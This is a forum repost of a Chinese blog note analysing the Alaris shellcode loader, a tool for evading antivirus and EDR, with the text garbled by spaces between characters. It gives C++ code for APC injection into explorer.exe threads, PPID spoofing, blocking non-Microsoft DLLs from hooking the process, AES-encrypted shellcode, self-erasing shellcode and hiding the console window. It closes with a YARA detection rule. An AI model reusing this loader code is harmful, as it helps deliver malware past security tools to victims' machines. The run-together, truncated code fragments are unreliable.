搜索

[17928] 2021-05-23_ALaris免杀shellcodeloader技术原理.

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-18
2021-05-23_ALaris免杀shellcodeloader技术原理.md A L a r i s   免 杀 s h e l l c o d e   l o a d e r 技 术 原 理 . m d 原 创   w 8 a y   H a c k i n g 就 是 好 玩   2 0 2 1 - 0 5 - 2 3 A L a r i s   s h e l l c o d e   免 杀 免 杀 l o a d e r   技 术 原 理 技 术 原 理 看 到 一 个 G i t H u b 项 目 ： h t t p s : / / g i t h u b . c o m / c r i b d r a g g 3 r / A l a r i s B u i l d 最 近 更 新 时 间 是 3 0 天 前 ， v t 上 查 杀 是 0 ， 所 以 看 看 有 什 么 免 杀 的 黑 科 技 ， 本 文 是 一 篇 记 录 笔 记 ， 该 G i t H u b 上 提 供 了 一 些 参 考 资 料 ， 我 看 了 这 些 参 考 资 料 后 ， 也 一 并 整 理 了 出 来 （ 国 外 作 者 的 资 料 非 常 朴 实 ， 会 告 诉 渔 从 何 来 ， 为 什 么 要 这 样 做 ） 。 杀 毒 厂 商 如 何 如 何 阻 止 恶 意 程 序 活 动 的 W i n d o w s 自 V i s t a 以 来 就 具 有 一 种 内 置 的 安 全 功 能 ， 称 为 P a t c h G u a r d （ P G ） ， 可 保 护 内 核 的 关 键 区 域 免 遭 修 改 。 这 些 领 域 包 括 ： 系 统 服 务 描 述 符 表 （ S S D T ） 全 局 描 述 符 表 （ G D T ） 中 断 描 述 符 表 （ I D T ） 系 统 映 像 （ ， ， ） 处 理 器 M S R （ 系 统 调 用 ） P G （ 令 安 全 厂 商 和 恶 意 软 件 开 发 人 员 大 失 所 望 ） 限 制 了 对 W i n d o w s 内 核 进 行 扩 展 的 任 何 软 件 （ 甚 至 出 于 正 当 理 由 ） 。 在 推 出 之 前 ， 安 全 厂 商 打 补 丁 S S D T 是 司 空 见 惯 的 事 情 。 微 软 的 立 场 是 ，   修 补 内 核 的 任 何 软 件 （ 无 论 是 否 为 恶 意 软 件 ） 都 可 能 导 致 可 靠 性 ， 性 能 以 及 最 重 要 的 是 安 全 问 题 。 P G 发 布 后 ， 安 全 厂 商 必 须 完 全 重 新 设 计 其 反 恶 意 软 件 解 决 方 案 。 可 以 选 择 规 避 P G ， 但 这 不 是 旨 在 保 护 您 的 操 作 系 统 的 软 件 的 安 全 ， 长 期 的 解 决 方 案 。 内 核 模 式 通 知 作 为 在 W i n d o w s 内 核 中 打 补 丁 或 h o o k 的 替 代 方 法 ， W i n d o w s 内 核 提 供 一 些 有 关 对 检 测 恶 意 软 件 有 用 的 时 间 通 知 ， 常 见 的 包 括 事 件 的 创 建 ， 进 程 或 线 程 的 终 止 ， d l l / e x e 的 映 射 执 行 。 n t o s k r n l . e x e n d i s . s y s h a l . d l l
i m g M i c r o s o f t 建 议 安 全 供 应 商 使 用   微 型 筛 选 器   驱 动 程 序 来 拦 截 ， 检 查 和 有 选 择 地 阻 止 I   /   O 事 件 。 通 过 N t D e v i c e I o C o n t r o l F i l e   系 统 调 用 可 实 现 大 量 的 文 件 系 统 和 网 络 功 能   。 长 按 识 别 二 维 码 查 看 原 文 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s - h a r d w a r e / d r i v e r s / i f s / f i l t e r - m a n a g e r - c o n c e p t s 标 题 ： 微 型 筛 选 器           长 按 识 别 二 维 码 查 看 原 文 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / w i n t e r n l / n f - w i n t e r n l - n t d e v i c e i o c o n t r o l f i l e 标 题 ： N t D e v i c e I o C o n t r o l F i l e           由 于 M i c r o s o f t 没 有 为 内 核 组 件 提 供 接 收 内 存 操 作 通 知 的 合 法 方 法 ， 因 此 这 迫 使 供 应 商 需 要 在 每 个 进 程 中 安 装 h o o k 。 基 于 此 ， 可 以 有 各 种 方 法 绕 过 它 们 。 如 果 对 绕 过 的 技 术 感 兴 趣 ， 可 以 查 看 如 下 的 参 考 资 料 h t t p s : / / w w w . m d s e c . c o . u k / 2 0 2 0 / 1 2 / b y p a s s i n g - u s e r - m o d e - h o o k s - a n d - d i r e c t - i n v o c a t i o n - o f - s y s t e m - c a l l s - f o r - r e d - t e a m s / 防 止 第 三 方 D L L 注 入 阻 止 所 有 非 M i c r o s o f t   D l l 注 入 我 们 的 进 程 ， 这 样 一 些 系 统 沙 箱 就 不 好 h o o k 判 断 行 为 了 。 / /   D i s a l l o w   n o n - m i c r o s o f t   s i g n e d   D L L ' s   f r o m   h o o k i n g / i n j e c t i n g   i n t o   o u r   C r e a t e P r o c e s s ( ) : I n i t i a l i z e P r o c T h r e a d A t t r i b u t e L i s t ( s i . l p A t t r i b u t e L i s t ,   2 ,   0 ,   & s i z e ) ; D W O R D 6 4   p o l i c y   =   P R O C E S S _ C R E A T I O N _ M I T I G A T I O N _ P O L I C Y _ B L O C K _ N O N _ M I C R O S O F T _ B I N A R I E S _ A L W A Y S _ O N ; U p d a t e P r o c T h r e a d A t t r i b u t e ( s i . l p A t t r i b u t e L i s t ,   0 ,   P R O C _ T H R E A D _ A T T R I B U T E _ M I T I G A T I O N _ P O L I C Y ,   & p o l i c y ,   s i z e o f ( p o l i c y ) ,  
x 8 6   S y s c a l l 直 接 使 用 调 用 系 统 函 数 ， 可 以 让 大 多 数 监 控 软 件 查 找 不 出 。 参 考 的 是   h t t p s : / / g i t h u b . c o m / j t h u r a i s a m y / S y s W h i s p e r s 2   项 目 ， 但 是 这 个 项 目 仅 对 x 6 4 位 系 统 提 供 了 支 持 。 这 个 项 目 通 过 获 取 P E B ， 得 到 n t d l l 空 间 地 址 ， 再 解 析 n t d l l 的 导 出 表 ， 获 得 每 个 函 数 名 称 和 函 数 加 载 地 址 ， 根 据 函 数 加 载 地 址 进 行 冒 泡 排 序 ， 它 的 位 置 即 是 s y s c a l l 的 编 号 了 。 参 考 文 章 h t t p s : / / w w w . m d s e c . c o . u k / 2 0 2 0 / 1 2 / b y p a s s i n g - u s e r - m o d e - h o o k s - a n d - d i r e c t - i n v o c a t i o n - o f - s y s t e m - c a l l s - f o r - r e d - t e a m s / 进 程 注 入 手 段 在 作 者 的 文 章 中 h t t p s : / / s e v r o s e c u r i t y . c o m / 2 0 2 0 / 0 4 / 0 8 / p r o c e s s - i n j e c t i o n - p a r t - 1 - c r e a t e r e m o t e t h r e a d / 使 用 执 行 s h e l l c o d e ， 即 是 使 用 了 手 段 ， 最 后 依 然 被 程 序 发 现 了 。 S y s m o n   h o o k i n g 是 在 系 统 内 核 （ S Y S T E M ） 中 运 行 的 ， 因 此 ， 除 非 禁 用 它 （ 需 要 成 为 管 理 员 ） ， 否 则 我 们 无 法 对 其 真 正 隐 藏 。 「 「 S y s m o n ： 」 ： 」 可 用 来 监 控 和 记 录 系 统 活 动 ， 并 记 录 到 w i n d o w s 事 件 日 志 ， 包 含 如 下 事 件 ： E v e n t   I D   1 :   P r o c e s s   c r e a t i o n E v e n t   I D   2 :   A   p r o c e s s   c h a n g e d   a   f i l e   c r e a t i o n   t i m e E v e n t   I D   3 :   N e t w o r k   c o n n e c t i o n E v e n t   I D   4 :   S y s m o n   s e r v i c e   s t a t e   c h a n g e d E v e n t   I D   5 :   P r o c e s s   t e r m i n a t e d E v e n t   I D   6 :   D r i v e r   l o a d e d E v e n t   I D   7 :   I m a g e   l o a d e d E v e n t   I D   8 :   C r e a t e R e m o t e T h r e a d E v e n t   I D   9 :   R a w A c c e s s R e a d E v e n t   I D   1 0 :   P r o c e s s A c c e s s / /   D i s a l l o w   n o n - M S F T   s i g n e d   D L L ' s   f r o m   i n j e c t i n g P R O C E S S _ M I T I G A T I O N _ B I N A R Y _ S I G N A T U R E _ P O L I C Y   s p   =   { } ; s p . M i c r o s o f t S i g n e d O n l y   =   1 ; S e t P r o c e s s M i t i g a t i o n P o l i c y ( P r o c e s s S i g n a t u r e P o l i c y ,   & s p ,   s i z e o f ( s p ) ) ; s y s c a l l C r e a t e R e m o t e T h r e a d s y s c a l l S y s m o n
E v e n t   I D   1 1 :   F i l e C r e a t e E v e n t   I D   1 2 :   R e g i s t r y E v e n t   ( O b j e c t   c r e a t e   a n d   d e l e t e ) E v e n t   I D   1 3 :   R e g i s t r y E v e n t   ( V a l u e   S e t ) E v e n t   I D   1 4 :   R e g i s t r y E v e n t   ( K e y   a n d   V a l u e   R e n a m e ) E v e n t   I D   1 5 :   F i l e C r e a t e S t r e a m H a s h E v e n t   I D   2 5 5 :   E r r o r 详 情 见 h t t p s : / / t e c h n e t . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / s y s m o n 「 注 ： 」 「 注 ： 」 C r e a t e R e m o t e T h r e a d 为 E v e n t   I D   8 此 时 我 们 可 以 使 用 进 行 注 入 。 S y s m o n 无 法 通 过 检 测 到 进 程 注 入 。 根 据 我 的 有 限 理 解 ， 这 是 因 为 我 们 没 有 在 受 害 者 进 程 中 创 建 新 线 程 。 我 们 枚 举 进 程 已 实 例 化 的 线 程 ， 打 开 线 程 ， 将 其 挂 起 ， 对 其 进 行 过 程 调 用 （ 我 们 的 s h e l l c o d e ） ， 然 后 恢 复 该 线 程 。 我 们 只 是 访 问 一 个 进 程 ， 并 告 诉 它 执 行 一 些 侵 入 性 较 小 的 过 程 。 A P C 注 入 在 实 战 中 的 场 景 A P C 注 入 进 程 代 码 Q u e u e U s e r A P C Q u e u e U s e r A P C e x p l o r e r . e x e
可 以 看 到 ， 我 们 对 e x p l o r e r 所 有 线 程 进 行 了 注 入 ， 假 设 线 程 有 2 0 - 5 0 个 ， 那 么 我 们 的 s h e l l c o d e 会 执 行 2 0 - 5 0 次 （ 虽 然 s h e l l c o d e 可 以 用 条 件 来 限 制 只 执 行 一 次 ） 。 我 们 是 否 可 以 将 线 程 限 制 一 个 数 量 ？ 例 如 5 个 。 Q u e u e U s e r A P C （ ） 流 程 注 入 - 实 际 示 例 分 析 H A N D L E   s n a p s h o t   =   C r e a t e T o o l h e l p 3 2 S n a p s h o t ( T H 3 2 C S _ S N A P P R O C E S S   |   T H 3 2 C S _ S N A P T H R E A D ,   0 ) ;   P R O C E S S E N T R Y 3 2   p r o c e s s E n t r y   =   {   s i z e o f ( P R O C E S S E N T R Y 3 2 )   } ;   i f   ( P r o c e s s 3 2 F i r s t ( s n a p s h o t ,   & p r o c e s s E n t r y ) )   {     w h i l e   ( _ w c s i c m p ( p r o c e s s E n t r y . s z E x e F i l e ,   L " e x p l o r e r . e x e " )   ! =   0 )     {       P r o c e s s 3 2 N e x t ( s n a p s h o t ,   & p r o c e s s E n t r y ) ;     }   }   H A N D L E   v i c t i m P r o c e s s   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   0 ,   p r o c e s s E n t r y . t h 3 2 P r o c e s s I D ) ;   L P V O I D   s h e l l A d d r e s s   =   V i r t u a l A l l o c E x ( v i c t i m P r o c e s s ,   N U L L ,   s h e l l c o d e S i z e ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;   / / 3 . E x e c u t e   s h e l l c o d e   P T H R E A D _ S T A R T _ R O U T I N E   a p c R o u t i n e   =   ( P T H R E A D _ S T A R T _ R O U T I N E ) s h e l l A d d r e s s ;   W r i t e P r o c e s s M e m o r y ( v i c t i m P r o c e s s ,   s h e l l A d d r e s s ,   s h e l l c o d e ,   s h e l l c o d e S i z e ,   N U L L ) ;   T H R E A D E N T R Y 3 2   t h r e a d E n t r y   =   {   s i z e o f ( T H R E A D E N T R Y 3 2 )   } ;   s t d : : v e c t o r < D W O R D >   t h r e a d I d s ;   i f   ( T h r e a d 3 2 F i r s t ( s n a p s h o t ,   & t h r e a d E n t r y ) )   {     d o   {       i f   ( t h r e a d E n t r y . t h 3 2 O w n e r P r o c e s s I D   = =   p r o c e s s E n t r y . t h 3 2 P r o c e s s I D )       {         t h r e a d I d s . p u s h _ b a c k ( t h r e a d E n t r y . t h 3 2 T h r e a d I D ) ;       }     }   w h i l e   ( T h r e a d 3 2 N e x t ( s n a p s h o t ,   & t h r e a d E n t r y ) ) ;   }   f o r   ( D W O R D   t h r e a d I d   :   t h r e a d I d s )   {     H A N D L E   t h r e a d H a n d l e   =   O p e n T h r e a d ( T H R E A D _ A L L _ A C C E S S ,   T R U E ,   t h r e a d I d ) ;     Q u e u e U s e r A P C ( ( P A P C F U N C ) a p c R o u t i n e ,   t h r e a d H a n d l e ,   N U L L ) ;     S l e e p ( 1 0 0 0   *   2 ) ;   }   r e t u r n   0 ;
可 以 看 到 ， 我 们 注 入 了 5 个 线 程 ， 但 是 只 执 行 了 3 个 线 程 ， 根 据 以 往 经 验 ， 有 6 0 ％ - 7 0 ％ 的 注 入 线 程 成 功 执 行 ， 根 据 限 制 数 量 不 同 也 有 不 同 。 同 时 还 可 能 有 程 序 崩 溃 的 现 象 。 这 也 是 使 用 这 个 技 术 的 一 些 弊 端 。 s h e l l c o d e 加 密 朴 实 无 华 的 使 用 对 称 加 密 算 法   A E S -   C B C   2 5 6 加 密 的 s h e l l c o d e ， 密 钥 和 i v 都 存 在 于 代 码 中 。 主 要 是 防 止 、 等 的 特 征 被 检 测 到 。 在 使 用 s t a g e   p a y l o a d 或 者 更 小 的 p a y l o a d 时 候 ， A E S 加 密 算 法 足 够 绕 过 大 多 数 的 E D R 系 统 。 P P I D 欺 骗 A l a r i s 会 创 建 一 个 子 进 程 ， 通 过 进 程 替 换 技 术 执 行 s h e l l c o d e ， 但 是 此 时 进 程 的 执 行 路 径 是 ， 通 过 p p i d 欺 骗 ， 将 它 变 得 看 起 来 是 自 然 产 生 ， 即 执 行 后 覆 盖 自 身 s h e l l c o d e 在 执 行 s h e l l c o d e 的 1 0 s 后 ， 会 用 空 字 节 覆 盖 自 身 。 但 是 这 个 时 间 选 择 . . . . x F C x E 8 x F C x 4 8 l o a d e r . e x e   - >   m o b s y n c . e x e e x p l o r e r . e x e   - >   m o b s y n c . e x e / /   T h i s   i s   j u s t   d i r e c t l y   s t o l e n   f r o m   i r e d . t e a m D W O R D   g e t _ P P I D ( )   {         H A N D L E   s n a p s h o t   =   C r e a t e T o o l h e l p 3 2 S n a p s h o t ( T H 3 2 C S _ S N A P P R O C E S S ,   0 ) ;         P R O C E S S E N T R Y 3 2   p r o c e s s   =   {   0   } ;         p r o c e s s . d w S i z e   =   s i z e o f ( p r o c e s s ) ;         i f   ( P r o c e s s 3 2 F i r s t ( s n a p s h o t ,   & p r o c e s s ) )   {                 d o   {                         i f   ( ! w c s c m p ( p r o c e s s . s z E x e F i l e ,   L " e x p l o r e r . e x e " ) )                                 b r e a k ;                 }   w h i l e   ( P r o c e s s 3 2 N e x t ( s n a p s h o t ,   & p r o c e s s ) ) ;         }         C l o s e H a n d l e ( s n a p s h o t ) ;         r e t u r n   p r o c e s s . t h 3 2 P r o c e s s I D ; } / /   M a s k   t h e   P P I D   t o   t h a t   o f   e x p l o r e r . e x e H A N D L E   e x p l o r e r _ h a n d l e   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   f a l s e ,   g e t _ P P I D ( ) ) ; U p d a t e P r o c T h r e a d A t t r i b u t e ( s i . l p A t t r i b u t e L i s t ,   0 ,   P R O C _ T H R E A D _ A T T R I B U T E _ P A R E N T _ P R O C E S S ,   & e x p l o r e r _ h a n d l e ,   s i z e o f / /   O v e r w r i t e   s h e l l c o d e   w i t h   n u l l   b y t e s S l e e p ( 1 0 0 0 0 ) ; u i n t 8 _ t   o v e r w r i t e [ 5 0 0 ] ; N t W r i t e V i r t u a l M e m o r y ( h P r o c e s s ,   m e m ,   o v e r w r i t e ,   s i z e o f ( o v e r w r i t e ) ,   0 ) ;
可 以 麻 烦 一 点 ， 在 s h e l l c o d e 中 进 行 处 理 ， 执 行 完 后 将 自 身 清 除 。 很 简 单 ， 获 取 下 执 行 时 候 的 e i p ， 向 上 回 溯 找 到 首 位 置 就 好 了 -   = 。 隐 藏 启 动 窗 口 这 是 它 r e a d m e 中 没 有 提 到 的 一 个 小 点 ， 但 确 非 常 有 效 很 多 杀 毒 对 D O S 程 序 会 比 较 放 松 ， 对 窗 口 程 序 比 较 敏 感 ， 通 过 这 个 也 可 以 隐 藏 D O S 程 序 。 查 杀 规 则 官 方 的 g i t h u b 提 供 了 一 个 查 杀 的 y a r a 规 则 这 个 规 则 似 乎 告 诉 我 们 ， 我 们 用 的 时 候 要 把 字 符 串 也 加 密 一 下 。 下 面 那 些 字 节 码 的 规 则 ， 我 还 没 有 生 成 一 个 木 马 ， 暂 时 看 不 了 是 什 么 规 则 了 。 参 考 h t t p s : / / s e v r o s e c u r i t y . c o m / 2 0 2 0 / 1 0 / 1 4 / a l a r i s - a - p r o t e c t i v e - l o a d e r / h t t p s : / / g i t h u b . c o m / j t h u r a i s a m y / S y s W h i s p e r s 2 h t t p s : / / w w w . m d s e c . c o . u k / 2 0 2 0 / 1 2 / b y p a s s i n g - u s e r - m o d e - h o o k s - a n d - d i r e c t - i n v o c a t i o n - o f - s y s t e m - c a l l s - f o r - r e d - t e a m s / 阅 读 原 文 S h o w W i n d o w ( G e t C o n s o l e W i n d o w ( ) ,   S W _ H I D E ) ; i m p o r t   " p e " r u l e   a l a r i s   {         m e t a :                 d e s c r i p t i o n   =   " F i n d   a l l   s t o c k   M e l a n g e   L o a d e r s "                 a u t h o r   =   " J o s h u a   F a u s t "                 d a t e   =   " 2 0 2 0 / 1 0 / 1 4 "         s t r i n g s :                 $   =   " [ ! ]   E R R O R "   f u l l w o r d   a s c i i   w i d e   $   =   " C : W i n d o w s S y s t e m 3 2 m o b s y n c . e x e "   f u l l w o r d   w i d e                 $   =   " g e x p l o r e r . e x e "   f u l l w o r d   w i d e                 $   =   {   7 0   7 6   2 0   f 2   3 f   4 c   4 c   1 0   4 5   f b   5 0   9 3   d 8   d 1   c 9   f b   6 c   3 0   4 5   8 8   d d   b 2   f 4   a f   9 c   1 c   2 2   1 3   2 6   6 7   2 4                 $   =   {   8 9   5 4   7 f   6 4   c 0   c e   3 a   4 4   f 0   e e   a f   ? ?   a 8   d c   6 b   6 5   }         c o n d i t i o n :             p e . i s _ p e   a n d   3   o f   t h e m }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理